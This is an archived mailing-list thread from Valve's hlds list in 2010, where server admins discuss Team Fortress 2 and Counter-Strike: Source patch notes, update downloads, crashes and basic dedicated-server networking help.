> > >> > A required update for Team Fortress 2 is now available.  Please run
> > >> > hldsupdatetool to receive the update.  The specific changes
include:
> > >> >
> > >> >
> > >> > Team Fortress 2
> > >> >
> > >> >  - Fixed an exploit that allowed Engineers to build level 2/3 mini
> > >> > sentries.
> > >> >
> > >> >  - Fixed a bug that allowed sapped buildings to be picked up by the
> > >> > Engineer.
> > >> >
> > >> >  - Fixed a bug where Wrangled level 3 sentryguns would still fire
> > >> rockets
> > >> > when they were out of ammo.
> > >> >
> > >> >  - Fixed a bug where players would go into reference poses when
> > >> switching
> > >> > classes while carrying a building.
> > >> >
> > >> >  - Fixed seeing the changeclass label in the spectator HUD when
> using
> > >> > cl_hud_minmode.
> > 

Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Yeh, I ran the update 4 times, got new files on the first three - in case
anyone else sees this.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
Sent: Friday, July 09, 2010 8:36 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

Its not 2 files. It only showed 3 for me. It actually updated 20 files. :D

On Fri, Jul 9, 2010 at 5:32 PM, Lane Eckley  wrote:

> Same here - downloaded 2 files and were dead.
>
> -Lane
>
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
> Sent: Friday, July 09, 2010 8:30 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Team Fortress 2 Update Available
>
> D'oh. My windows server will NOT start, even without any addons.
> Jonah Hirsch
> ---
>
>
> On Fri, Jul 9, 2010 at 5:23 PM, Jonah Hirsch 
> wrote:
>
> > No balancing on the movable buildings? :P
> >
> > Nonetheless, nice fixes. "Fixed a server crash in the player death code,
> > related to building carrying." might actually fix a crash related to a
> > sourcemod plugin I was experiencing!
> >  Jonah Hirsch
> > ---
> >
> >
> >
> > On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:
> >
> >> Nice, thanks.
> >>
> >> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen  >> >wrote:
> >>
> >> > A required update for Team Fortress 2 is now available.  Please run
> >> > hldsupdatetool to receive the update.  The specific changes include:
> >> >
> >> >
> >> > Team Fortress 2
> >> >
> >> >  - Fixed an exploit that allowed Engineers to build level 2/3 mini
> >> > sentries.
> >> >
> >> >  - Fixed a bug that allowed sapped buildings to be picked up by the
> >> > Engineer.
> >> >
> >> >  - Fixed a bug where Wrangled level 3 sentryguns would still fire
> >> rockets
> >> > when they were out of ammo.
> >> >
> >> >  - Fixed a bug where players would go into reference poses when
> >> switching
> >> > classes while carrying a building.
> >> >
> >> >  - Fixed seeing the changeclass label in the spectator HUD when using
> >> > cl_hud_minmode.
> >> >
> >> >  - The amount of revenge crits a player can have at one time is now
> >> capped
> >> > at 35.
> >> >
> >> >  - The Wrangler no longer shows the shotgun's ammo count.
> >> >
> >> >  - Engineers can no longer pick up buildings while stunned or in
loser
> >> > state.
> >> >
> >> >  - Fixed Engineer shotgun and piston not using team skins for the
> >> > Engineer's arms.
> >> >
> >> >  - Fixed an issue where Wrangled sentrygun effects wouldn't be
> attached
> >> to
> >> > the sentrygun.
> >> >
> >> >  - The Gunslinger 3 hit combo now only increments the combo count
when
> >> > hitting enemy players.
> >> >
> >> >  - Fixed a crash in the control point progress bar.
> >> >
> >> >  - Fixed a server crash in the player death code, related to building
> >> > carrying.
> >> >
> >> >  - Fixing performance spikes that occur at round start, and after
each
> >> > point capture, when TFBots are present in the server.
> >> >
> >> >  - Achievement fixes:
> >> >
> >> >  - The "Rio Grind" achievement limit is now correctly set to 50.
> >> >
> >> >  - Fixed a typo in Six-String Stinger achievement name.
> >> >
> >> >  - Fixed a bug in the "Death Metal" achievement that caused it to
> >> > rapidly complete itself.
> >> >
> >> >  - Fixed getting the Six-String Stinger achievement without
> playing
> >> the
> >> > guitar.
> >> >
> >> >  - Fixed sentrygun detection code in "Best Little Slaughterhouse
> in
> >> > Texas" and "Deputized".
> >> >
> >> >  - Missed notes from yesterday's release:
> >> >
> >> >  - New response rules and sounds added for some classes
> >> >
> >> > Jason
> >> >
> >> >

Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Same here - downloaded 2 files and were dead.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
Sent: Friday, July 09, 2010 8:30 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

D'oh. My windows server will NOT start, even without any addons.
Jonah Hirsch
---


On Fri, Jul 9, 2010 at 5:23 PM, Jonah Hirsch  wrote:

> No balancing on the movable buildings? :P
>
> Nonetheless, nice fixes. "Fixed a server crash in the player death code,
> related to building carrying." might actually fix a crash related to a
> sourcemod plugin I was experiencing!
>  Jonah Hirsch
> ---
>
>
>
> On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:
>
>> Nice, thanks.
>>
>> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen > >wrote:
>>
>> > A required update for Team Fortress 2 is now available.  Please run
>> > hldsupdatetool to receive the update.  The specific changes include:
>> >
>> >
>> > Team Fortress 2
>> >
>> >  - Fixed an exploit that allowed Engineers to build level 2/3 mini
>> > sentries.
>> >
>> >  - Fixed a bug that allowed sapped buildings to be picked up by the
>> > Engineer.
>> >
>> >  - Fixed a bug where Wrangled level 3 sentryguns would still fire
>> rockets
>> > when they were out of ammo.
>> >
>> >  - Fixed a bug where players would go into reference poses when
>> switching
>> > classes while carrying a building.
>> >
>> >  - Fixed seeing the changeclass label in the spectator HUD when using
>> > cl_hud_minmode.
>> >
>> >  - The amount of revenge crits a player can have at one time is now
>> capped
>> > at 35.
>> >
>> >  - The Wrangler no longer shows the shotgun's ammo count.
>> >
>> >  - Engineers can no longer pick up buildings while stunned or in loser
>> > state.
>> >
>> >  - Fixed Engineer shotgun and piston not using team skins for the
>> > Engineer's arms.
>> >
>> >  - Fixed an issue where Wrangled sentrygun effects wouldn't be attached
>> to
>> > the sentrygun.
>> >
>> >  - The Gunslinger 3 hit combo now only increments the combo count when
>> > hitting enemy players.
>> >
>> >  - Fixed a crash in the control point progress bar.
>> >
>> >  - Fixed a server crash in the player death code, related to building
>> > carrying.
>> >
>> >  - Fixing performance spikes that occur at round start, and after each
>> > point capture, when TFBots are present in the server.
>> >
>> >  - Achievement fixes:
>> >
>> >  - The "Rio Grind" achievement limit is now correctly set to 50.
>> >
>> >  - Fixed a typo in Six-String Stinger achievement name.
>> >
>> >  - Fixed a bug in the "Death Metal" achievement that caused it to
>> > rapidly complete itself.
>> >
>> >  - Fixed getting the Six-String Stinger achievement without playing
>> the
>> > guitar.
>> >
>> >  - Fixed sentrygun detection code in "Best Little Slaughterhouse in
>> > Texas" and "Deputized".
>> >
>> >  - Missed notes from yesterday's release:
>> >
>> >  - New response rules and sounds added for some classes
>> >
>> > Jason
>> >
>> > ___
>> > To unsubscribe, edit your list preferences, or view the list archives,
>> > please visit:
>> > http://list.valvesoftware.com/mailman/listinfo/hlds
>> >
>> ___
>> To unsubscribe, edit your list preferences, or view the list archives,
>> please visit:
>> http://list.valvesoftware.com/mailman/listinfo/hlds
>>
>
>
___
To unsubscribe, edit your list preferences, or view the list archives,
please visit:
http://list.valvesoftware.com/mailman/listinfo/hlds


___
To unsubscribe, edit your list preferences, or view the list archives, please 
visit:
http://list.valvesoftware.com/mailman/listinfo/hlds


Re: [hlds] Team Fortress 2 Update Available

2010-07-09 Thread Lane Eckley
Only 2 files in the server update?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Jonah Hirsch
Sent: Friday, July 09, 2010 8:24 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

No balancing on the movable buildings? :P

Nonetheless, nice fixes. "Fixed a server crash in the player death code,
related to building carrying." might actually fix a crash related to a
sourcemod plugin I was experiencing!
Jonah Hirsch
---


On Fri, Jul 9, 2010 at 5:21 PM, Craig H  wrote:

> Nice, thanks.
>
> On Fri, Jul 9, 2010 at 5:16 PM, Jason Ruymen  >wrote:
>
> > A required update for Team Fortress 2 is now available.  Please run
> > hldsupdatetool to receive the update.  The specific changes include:
> >
> >
> > Team Fortress 2
> >
> >  - Fixed an exploit that allowed Engineers to build level 2/3 mini
> > sentries.
> >
> >  - Fixed a bug that allowed sapped buildings to be picked up by the
> > Engineer.
> >
> >  - Fixed a bug where Wrangled level 3 sentryguns would still fire
rockets
> > when they were out of ammo.
> >
> >  - Fixed a bug where players would go into reference poses when
switching
> > classes while carrying a building.
> >
> >  - Fixed seeing the changeclass label in the spectator HUD when using
> > cl_hud_minmode.
> >
> >  - The amount of revenge crits a player can have at one time is now
> capped
> > at 35.
> >
> >  - The Wrangler no longer shows the shotgun's ammo count.
> >
> >  - Engineers can no longer pick up buildings while stunned or in loser
> > state.
> >
> >  - Fixed Engineer shotgun and piston not using team skins for the
> > Engineer's arms.
> >
> >  - Fixed an issue where Wrangled sentrygun effects wouldn't be attached
> to
> > the sentrygun.
> >
> >  - The Gunslinger 3 hit combo now only increments the combo count when
> > hitting enemy players.
> >
> >  - Fixed a crash in the control point progress bar.
> >
> >  - Fixed a server crash in the player death code, related to building
> > carrying.
> >
> >  - Fixing performance spikes that occur at round start, and after each
> > point capture, when TFBots are present in the server.
> >
> >  - Achievement fixes:
> >
> >  - The "Rio Grind" achievement limit is now correctly set to 50.
> >
> >  - Fixed a typo in Six-String Stinger achievement name.
> >
> >  - Fixed a bug in the "Death Metal" achievement that caused it to
> > rapidly complete itself.
> >
> >  - Fixed getting the Six-String Stinger achievement without playing
> the
> > guitar.
> >
> >  - Fixed sentrygun detection code in "Best Little Slaughterhouse in
> > Texas" and "Deputized".
> >
> >  - Missed notes from yesterday's release:
> >
> >  - New response rules and sounds added for some classes
> >
> > Jason
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
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Re: [hlds] Team Fortress 2, Counter-Strike: Source and Day of Defeat: Source Updates Available

2010-07-09 Thread Lane Eckley
Running 24/7 TF2, rotating maps once every 2 hours - the server hasn't
crashed at all since I started after the first patch (never added the second
one)

SourceMod, MetaMod, a bunch of plugins.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Tony Paloma
Sent: Friday, July 09, 2010 2:38 PM
To: 'Half-Life dedicated Win32 server mailing list'
Subject: Re: [hlds] Team Fortress 2, Counter-Strike: Source and Day of
Defeat: Source Updates Available

How about crashes? Anybody else's server crashing like crazy? My arena
server always seems to be crashing when it gets to the second map in cycle
(sawmill) and my rotation server crashes on coldfront.

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of 1nsane
Sent: Thursday, July 08, 2010 9:31 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2, Counter-Strike: Source and Day of
Defeat: Source Updates Available

Yeah I'm seeing this too.

On Thu, Jul 8, 2010 at 11:57 PM, Robert Whelan  wrote:

> Anyone seeing this in their console? Dunno if they are material errors 
> or what.
> 2 updates later and I'm still seeing them and didn't know if it was 
> normal behaviour.
>
> Anyone?
>
> Thx...
>
>
> Executing dedicated server config file material 
> models/player/items/medic/medic_mirror has a normal map and 
> $basealphaenvmapmask.
>   Must use $normalmapalphaenvmapmask to get specular.
> material models/player/items/all_class/all_halo has a normal map and 
> $basealphaenvmapmask.
>   Must use $normalmapalphaenvmapmask to get specular.
> material models/player/items/all_class/id_badge_gold has a normal map 
> and $basealphaenvmap mask.  Must use $normalmapalphaenvmapmask to get 
> specular.
> material models/player/items/all_class/id_badge_silver has a normal 
> map and $basealphaenvm apmask.  Must use $normalmapalphaenvmapmask to 
> get specular.
> material models/player/items/all_class/id_badge_platinum has a normal 
> map and $basealphaen vmapmask.  Must use $normalmapalphaenvmapmask to 
> get specular.
> Failed to load Steam ServiceServiceStart: started as Windows service 
> exec banned_user.cfg: file size larger than 1 MB!
> exec banned_ip.cfg: file size larger than 1 MB!
> Writing cfg/banned_user.cfg.
> Writing cfg/banned_ip.cfg.
> Adding master server 216.207.205.99:27011 Adding master server 
> 216.207.205.98:27011 Connection to Steam servers successful.
>VAC secure mode is activated.
>
>
>
>
> 
> From: Jason Ruymen 
> To: Half-Life dedicated Linux server mailing list 
> ; "hlds@list.valvesoftware.com"
> ; "hlds_annou...@list.valvesoftware.com"
> 
> Sent: Thu, July 8, 2010 7:07:47 PM
> Subject: [hlds] Team Fortress 2, Counter-Strike: Source and Day of Defeat:
> Source Updates Available
>
> Required update for Team Fortress 2 and Day of Defeat: Source are now 
> available.  The updates to Counter-Strike: Source are optional.  The 
> specific changes include:
>
> Engine:
> - Fixed client crash related flashlight usage.
> - Fixed several issues related to alt-tabbing (invisible players, etc).
>
> Team Fortress 2:
> - Added The Frontier Justice.
> - Added The Wrangler.
> - Added The Gunslinger.
> - Added The Southern Hospitality.
> - Added 35 Engineer achievements.
> - Engineers can now pickup & move their buildings.
> - Added Engineer main menu music.
> - Added 4 new maps:
> - Thunder Mountain, a 3 stage Payload map.
> - Hightower, a Payload Race map.
> - Upward, a Payload map.
> - ColdFront, a community built Capture Point map.
> - Item tuning:
> - The Sandvich now uses a cooldown timer, instead of the health 
> pack recharge mechanic.
> - The Gunboats now reduce self-damage by 60% (was 75%)
> - The Tribalman's Shiv bleed duration reduced to 6 second (was 8), 
> and its damage penalty increased to 50% (was 35%).
> - Added better feedback sound for Pyros on when their flamethrower is 
> doing damage.
> - Fixed blood effect on bleeding player.
> - Added a glow effect to Payload carts.
> - Added Romanian language support.
>
> Jason
>
>
> ___
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> please
> visit:
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>
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Re: [hlds] Team Fortress 2, Counter-Strike: Source and Day of Defeat: Source Updates Available

2010-07-08 Thread Lane Eckley
Have not seen any issues as of yet (running souremod too)

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of k e
Sent: Thursday, July 08, 2010 10:24 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2, Counter-Strike: Source and Day of
Defeat: Source Updates Available

anyone crashing on map change?

On Thu, Jul 8, 2010 at 9:30 PM, Claudio Beretta
wrote:

> engi update files
> http://www.megaupload.com/?d=O5MVV5T2
>
>
> On Fri, Jul 9, 2010 at 2:07 AM, Jason Ruymen  >wrote:
>
> > Required update for Team Fortress 2 and Day of Defeat: Source are now
> > available.  The updates to Counter-Strike: Source are optional.  The
> > specific changes include:
> >
> > Engine:
> >  - Fixed client crash related flashlight usage.
> >  - Fixed several issues related to alt-tabbing (invisible players, etc).
> >
> > Team Fortress 2:
> >  - Added The Frontier Justice.
> >  - Added The Wrangler.
> >  - Added The Gunslinger.
> >  - Added The Southern Hospitality.
> >  - Added 35 Engineer achievements.
> >  - Engineers can now pickup & move their buildings.
> >  - Added Engineer main menu music.
> >  - Added 4 new maps:
> >- Thunder Mountain, a 3 stage Payload map.
> >- Hightower, a Payload Race map.
> >- Upward, a Payload map.
> >- ColdFront, a community built Capture Point map.
> >  - Item tuning:
> >- The Sandvich now uses a cooldown timer, instead of the health
> pack
> > recharge mechanic.
> >- The Gunboats now reduce self-damage by 60% (was 75%)
> >- The Tribalman's Shiv bleed duration reduced to 6 second (was
8),
> > and its damage penalty increased to 50% (was 35%).
> >  - Added better feedback sound for Pyros on when their flamethrower is
> > doing damage.
> >  - Fixed blood effect on bleeding player.
> >  - Added a glow effect to Payload carts.
> >  - Added Romanian language support.
> >
> > Jason
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
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Re: [hlds] HDLS Dedicated server

2010-07-07 Thread Lane Eckley
Sounds like you are behind a router.

If you are not, make sure you are not running a firewall (software or
hardware) - The 192.*.*.* is not your ISP IP, that is your home network IP
(again most likely because your behind a router).

You will need to setup port forwarding or DMZ on your router in order to
allow the connections to pass-through and be routed to the proper machine.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Sanjay B.R
Sent: Wednesday, July 07, 2010 10:50 AM
To: hlds@list.valvesoftware.com
Subject: [hlds] HDLS Dedicated server

Hello everybody,

I am a newbie to counter strike, i have bought the game condition zero from
steam. I have my friends who have also bought along with me, we intend to
play through internet, and i am having trouble creating a dedicated server.
Find below the steps i did , please correct me if i am wrong. Please guide
me with the steps necessary for achieving this.

Step 1: I downloaded and installed the Counter Strike - Condition Zero from
the steam application.

Step 2: I tried running the "HLDS.exe" present in the path *"D:\Program
Files\Steam\steamapps\\condition zero"* but it threw an error
saying "*This application has failed to start because Steam.dll was not
found. Re-installing the application may fix this problem.*"

Step 3: Then i logged into my steam account, downloaded a tool called
"*Dedicated
Server*" and installed it my pc.

Step 4: I started the dedicated server, with the following options.
Game: Condition Zero
Server Name   : 
Map   : 
*Network  : Internet*
Max. Players  : 10
UDP Port: 27016
RCON Password : 
Secure (Valve Anti-cheat) -> selected

Step 5: Once the server is running, i see that the server has taken my local
ip *192.XX.XX.XX:27016*

Step 6: I start the condition zero game and try looking for the server i
have hosted in the "*Find Servers*" -> "*Internet*" Tab, but my server is
not listed. *
case a: *I tried adding it in my favorites by using the option "
*Add Server*". This did not list my server too, and i tried connecting
directly, by opening the Console in  condition zero and using the
command "*connect
:27016*", it said "*Steam validation rejected*".
*case b: *I asked my friends to search for the server i hosted,
but they too did not find it.

Step 6: So i started from the beginning, till *Step 4* , in step 4 i choose
*LAN* as a Network instead of *Internet*
   *Network  : LAN
*In this case, surprisingly *
**case a: *I tried adding it in my favorites by using the option
"*Add Server*". This listed my server, but the server info mentioned "*
0.0.0.0*" and status "*Server not responding*"
*case b: *I asked my friends to search for the server i hosted,
they found it, this time, but it was displaying my server ip as
192.XX.XX.XX:. which is my local ip provided by my ISP and they were
unable to connect to the server. But one thing is that i am able to join a
game by using the command "*connect :27016*" it worked.

To summarize the problem statement, *I would like to use HLDS to create a
server, and i will be playing in the same machine, and would want my friends
to join the server through internet.*
Please let me know if i am wrong in any of the above steps.

Thanks in advance
Sanjay
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Re: [hlds] Counter-Strike: Source Update Available

2010-07-06 Thread Lane Eckley
Hi Guys,

TF2 Update - http://gs.gamerslifeline.com/team-fortress-2-windows-server-2/
**Update Files Only, Not Full Install**

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Matt Hoffman
Sent: Tuesday, July 06, 2010 6:56 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Counter-Strike: Source Update Available

Engine update.

On Tue, Jul 6, 2010 at 3:49 PM, DontWannaName!
wrote:

> Tf2 was updated as well. Waiting for news on that.
>
> On Tue, Jul 6, 2010 at 3:45 PM, HL-SDK Synths 
> wrote:
>
> > Very good, and thank you for the effort. I have a feeling you will see
> some
> > protest w.r.t. "developer" being marked as a cheat. I like my console
> > output
> > on-screen, for instance .
> >
> > On Jul 6, 2010 6:33 PM, "Jason Ruymen"  wrote:
> >
> > An optional update for Counter-Strike: Source is now available.  Please
> run
> > hldsupdatetool to receive the update.  The specific changes include:
> >
> > Counter-Strike: Source:
> > - Fixed a crash that could occur after the bomb exploded.
> > - Fixed a crash that could occur when attempting to exit the game.
> > - Changed default values of the following server variables to reflect
the
> > increase of the default tick rate from 33 to 66:
> >   - sv_mincmdrate - 10
> >   - sv_maxcmdrate - 66
> >   - sv_maxupdaterate - 66
> > - Marked 'developer' cvar as cheat.
> > - Corrected kill/death reporting in gun games.  Deaths were not being
> > properly counted in games using instant respawn.
> > - Marked test_round_winpanel, test_match_winpanel, test_freezepanel
> > commands
> > as cheats.
> > - Added sv_nowinpanel and cl_nowinpanel options that can be used to
> disable
> > the win panel that displays the team winner, MVP, and fun fact at the
end
> > of
> > a round.
> > - Clamped ladder dampen values.
> > - Fixed jointeam cvar so giving it invalid values no longer spams the
> > server
> > console.
> > - Removed functionality of cl_minmodels.
> > - Fixed voice indicators to display at all times rather than just after
> > their respective players have come into contact when -alltalk is on.
> > - Fixed scoreboard to display correct number of SourceTV viewers.
> > - Adjusted death notices to display under scoreboard.
> > - Defaulted 'Simplified list' to OFF and made the setting persistent.
> > - Fixed an issue that could make it appear as if a player already had
one
> > or
> > more MVP stars upon joining a server.
> > - Made text on loading bar more legible.
> > - Added more materials that were missing for community maps.
> >
> > Engine:
> > - Fixed disconnect exploit causing players to be forced off of a server
> due
> > to an overflowed packet.
> > - Fixed players being able to start the game using a DirectX level less
> > than
> > DirectX8.
> >
> > Windows Dedicated Server:
> > - Added Counter-Strike: Source to the list of games for the dedicated
> > server
> > when running through the Steam client.
> >
> >
> > An update on the Update
> > The reason for the recent update was to move Counter-Strike Source (CSS)
> > from the older HL2 version of the Source engine to the most recent
> > version. This brings the CSS codebase in-line with our other games. This
> > resolves long standing issues associated with the older engine and
allows
> > us
> > to benefit from features and bug fixes in other source games as they
come
> > online, such as improved graphic effects and more accurate hit
> > registration.
> >
> > During this process we created some unintended side effects, these are
> > bugs. We are actively investigating all reports.
> >
> > A good example of this is bullet penetration changing on Linux Servers
> > only;
> > not Windows Servers. This was a subtle bug to track down and understand.
> >  It
> > has been fixed.
> >
> > Rest assured we will continue to fix old and new CSS bugs. We want to
> > retain
> > the CSS gameplay experience that you know and love. We would also like
to
> > thank everyone reporting bugs and posting constructive feedback. This is
> an
> > invaluable part of the process.
> >
> > The CSS Team
> >
> >
> > ___
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> > please visit:
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T

Re: [hlds] Team Fortress 2 Update Available

2010-07-01 Thread Lane Eckley
In case anyone is still struggling to get the new files:
http://gs.gamerslifeline.com/team-fortress-2-windows-server/

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Cevius
Sent: Thursday, July 01, 2010 10:22 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Team Fortress 2 Update Available

The warning has the option to never be displayed again. Only silly users
will ever see the warning more than once.

On 2 July 2010 12:17, M33CROB  wrote:

> So this warning is displayed with any server that has more than 24 slots?
>
> On Thu, Jul 1, 2010 at 7:04 PM, Spencer 'voogru' MacDonald <
> voo...@voogru.com> wrote:
>
> > "Added a warning dialog that pops up to warn players joining games with
> > more
> > than the recommended number of players."
> >
> > 1. The server shows the max player count next to the number of players
> > currently on the server.
> > 2. The servers usually keep the "increased_maxplayers" tag when they
have
> > more than 24 players on the server.
> >
> > Players know how many players can be on the server when joining, they
> don't
> > need yet another warning. The only thing that this may encourage is some
> > malicious server ops to do the exact opposite of what they are doing
now,
> > show their servers as 23/24 when in fact they are 32/33.
> >
> > The warning would be far more useful if it warned about "impossible"
> > servers, such as 34/36 etc servers, because those are actually somewhat
> > malicious.
> >
> > -Original Message-
> > From: hlds-boun...@list.valvesoftware.com
> > [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of DontWannaName!
> > Sent: Thursday, July 01, 2010 9:27 PM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Team Fortress 2 Update Available
> >
> > They should just delist servers over 33 slots, they just run fake
clients
> > to
> > fill the extra 4 slots. Stupid and deceiving. Shame on those server ops.
> >
> > On Thu, Jul 1, 2010 at 6:21 PM, M33CROB 
> > wrote:
> >
> > > Does anyone know how the warning message works for players connecting
> to
> > > server with more than the recommended number? Is this all servers with
> > more
> > > than 24 players, or just servers with more than 32.  Is there some
> > > arbitrary
> > > number depending on the type of map?
> > >
> > > Thanks
> > >
> > > On Thu, Jul 1, 2010 at 6:08 PM, DontWannaName!  > > >wrote:
> > >
> > > > Download was pain free. :) I downloaded before I could start my
> client,
> > > it
> > > > said the servers were too busy. :P
> > > >
> > > > On Thu, Jul 1, 2010 at 5:53 PM, Saul Rennison <
> saul.renni...@gmail.com
> > > > >wrote:
> > > >
> > > > > /me passes cookie
> > > > >
> > > > > On Friday, July 2, 2010, Allan Button 
> wrote:
> > > > > > Hmm. Looks like the Linux build and the windows build was
> > > > > > different Cookie please.
> > > > > >
> > > > > > Sent from my mobile.
> > > > > >
> > > > > > On Jul 1, 2010, at 8:31 PM, "Jason Ruymen" <
> > jas...@valvesoftware.com
> > > >
> > > > > > wrote:
> > > > > >
> > > > > >> A required update for Team Fortress 2 is now available.  This
is
> > > > > >> also an optional update for Counter-Strike: Source, since it
> fixes
> > a
> > > > > >> bullet penetration problem on Linux servers.  The specific
> changes
> > > > > >> are:
> > > > > >>
> > > > > >> Server Browser
> > > > > >> - Server browser now starts centered onscreen when it opens up.
> > > > > >> - Filter panel now starts expanded, instead of hidden.
> > > > > >> - Added a warning dialog that pops up to warn players joining
> > games
> > > > > >> with more than the recommended number of players.
> > > > > >> - Added a "max player count" filter setting.
> > > > > >> - Renamed quick list checkbox from "Show Map List" to
> "Simplified
> > > > > >> List".
> > > > > >>- Mouseover the checkbox now explains the simplified list in
> > the
> > > > > >> status bar.
> > > > > >> - Quicklist now shows the number of other servers running each
> > map.
> > > > > >> - Fixed a couple of bugs related to toggling the quick list,
> which
> > > > > >> were resulting in you needing to refresh again.
> > > > > >>
> > > > > >> Team Fortress 2
> > > > > >> - Added missing earbud particles for DX8 players.
> > > > > >> - Added new ConVar mp_windifference_min to be used with
> > > > > >> mp_windifference.
> > > > > >> - Added Engineer to the list of classes that can equip Max's
> > Pistol.
> > > > > >> - Rebuilt sound cache files that were out of date.
> > > > > >> - Source TV:
> > > > > >> - Fixed unlockable items not being visible.
> > > > > >> - Stopped "player is carrying X" messages looping forever.
> > > > > >> - Fixed overhealed particle effect being visible on your
> > current
> > > > > >> view target when in first-person spectator mode.
> > > > > >> - Changed in-game button colors to be less eyepoppingly bright.
> > > > > >> - Improved Steam 

Re: [hlds] Counter-Strike: Source Update Available

2010-06-23 Thread Lane Eckley
Hi Guys,

I have uploaded the full update/install to my personal site here:
http://gs.gamerslifeline.com/counter-strike-source-windows/

Its 1.01GB rar file - fresh copy, didn't touch anything on it.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of Claudio Beretta
Sent: Wednesday, June 23, 2010 3:58 PM
To: Half-Life dedicated Win32 server mailing list
Subject: Re: [hlds] Counter-Strike: Source Update Available

Cool, in a few minutes there were 3 releases of the 'Counter-Strike
Source Shared Content' package: from version 74 to 76
...

On 6/23/10, Scott Highland  wrote:
> Downloading the update on steam at a whopping 20kb/s average... Maybe
> you shouldve put the update on more than just one content server? :/
>
> Mark P wrote:
>> 2010/6/23 Jake Eisenman 
>>
>>
>>> oooh Shiny.
>>> hope nothing breaks.
>>>
>>> Sent from my iPod
>>>
>>> On Jun 23, 2010, at 2:52 PM, Jason Ruymen 
>>> wrote:
>>>
>>>
 A required update for Counter-Strike: Source has been updated.
 Please run hldsupdatetool to receive the updates.  The major changes
 include:

 UI:
 - Added the following cvars to allow players to customize their
 scoreboards.
 - cl_scoreboard_ct_color_red
 - cl_scoreboard_ct_color_green
 - cl_scoreboard_ct_color_blue
 - cl_scoreboard_t_color_red
 - cl_scoreboard_t_color_green
 - cl_scoreboard_t_color_blue
 - cl_scoreboard_dead_color_red
 - cl_scoreboard_dead_color_green
 - cl_scoreboard_dead_color_blue
 - Changed the screen that appears when the message of the day fails
 to load to display proper error text.
 - Made the CT silhouette for the auto-select option in the Choose a
 Class screen smaller and corrected its aspect ratio.
 - Addressed a problem that occasionally caused characters to be
 colored incorrectly on the Change a Class screen.

 Gameplay:
 - Made ladders easier to climb. Added cvars sv_ladder_dampen and
 sv_ladder_angle.
 - Fixed issue that awarded three points when the bomb explodes after
 the round ends by elimination criteria instead.
 - Fixed issue in which you weren't given credit for grenade damage
 if you fired a weapon at someone then hit them with a grenade (in
 that order). Also fixed problem in which grenading a player and then
 killing them with another weapon showed as '*** in 1' on console.
 - There's now a priority order for displaying win conditions when
 multiple win conditions are set.
 - If timelimit exists and is not 0, then show timelimit.
 - If timelimit does not exist, show maxrounds if not 0.
 - If both timelimit and maxrounds are 0, show winlimit.
 - If timelimit, maxrounds, and winlimit are all 0, show nothing.
 - Added a cvar to ignore win conditions:
 mp_ignore_round_win_conditions.

 General:
 - Disallowed the use of arbitrary command strings for the message of
 the day screen. Now only a specific list of commands is allowed.
 - Addressed issue in which AWPs and Scouts sometimes did not make
 the zooming sound.
 - cvar mat_showlowresimage is now a cheat command.
 - Many development console commands which would crash the server
 removed.
 - Updated source engine addresses many issues:
 - Better flashlight effect
 - Better HDR behavior
 - Multicore rendering support
 - Added sv_disablefreezecam cvar to turn off the freezecam on a
 server.
 - Added sv_nonemesis cvar to turn off domination/revenge on a server.
 - Added sv_nomvp cvar to turn off MVP stars on a server.
 - Added sv_nostats cvar to turn off stats on a server.
 - Removed -tickrate command line option and defaulted tick rate to
 66 rather than 33. This addressed a number of issues, including:
- Tick rate affecting how fast doors open / close
- Tick rate causing players hitting the ground to stutter
- Tick rate affecting the firing mechanisms of certain guns

 Jason


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>>> ___
>>> To unsubscribe, edit your list preferences, or view the list archives,
>>> please visit:
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>>>
>>>
>>
>> very shinny
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>> please visit:
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>>
>>
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>> signature database 5223 (20100623) __
>>
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>>
>> http://www.eset.com
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>
>
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Re: [hlds] COUNTER-STRIKE: SOURCE BETA

2010-05-13 Thread Lane Eckley
What does you commandline look like?

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
